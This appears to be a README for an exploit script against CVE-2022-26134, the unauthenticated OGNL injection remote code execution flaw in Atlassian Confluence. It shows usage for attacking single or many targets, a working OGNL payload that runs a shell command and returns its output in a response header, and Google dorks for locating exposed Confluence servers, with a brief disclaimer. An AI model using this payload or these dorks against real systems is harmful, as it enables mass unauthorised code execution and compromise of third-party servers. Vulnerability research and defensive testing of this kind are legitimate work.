Confluence Pre-Auth Remote Code Execution via OGNL Injection (CVE-2022-26134)
Confluence Pre-Auth Remote Code Execution via OGNL Injection (CVE-2022-26134)
- On June 02, 2022 Atlassian released a security advisory for their Confluence Server and Data Center applications, highlighting a critical severity unauthenticated remote code execution vulnerability. The OGNL injection vulnerability allows an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance.
IMPORTANT
This exploit is only intended to facilitate demonstrations of the vulnerability by researchers. I didn't recommend of illegal actions and take no responsibility for any malicious use of this script.
• Request Example
Exploit Usage
python3 exploit.py -h
Usage: exploit.py [options]
Options:
-h, --help show this help message and exit
-u URL, --url=URL Base target uri (ex. http://target-uri/)
-f FILEHOSTS, --file=FILEHOSTS
example.txt
-t THREADS_SET, --threads=THREADS_SET
-m TIMEOUT, --maxtimeout=TIMEOUT
-o OUTPUT, --output=OUTPUT
-c COMMAND, --cmd=COMMAND
Exploit single target:
$ python3 exploit.py -u http://xxxxx.com -c id
Exploit multitargets
$ python3 exploit.py -f urls.txt -p -c id
OGNL expression
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
À tester Google dorks
intitle:dashboard-confluence
inurl:http://confluence. login.action
inurl:https://wiki. .com/confluence/
allinurl: /confluence/login.action?
“/spacedirectory/view.action”
“/pages/viewpage.action?”
“/pages/releaseview.action?”
“aboutconfluencepage.action”
References:
• https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
• https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis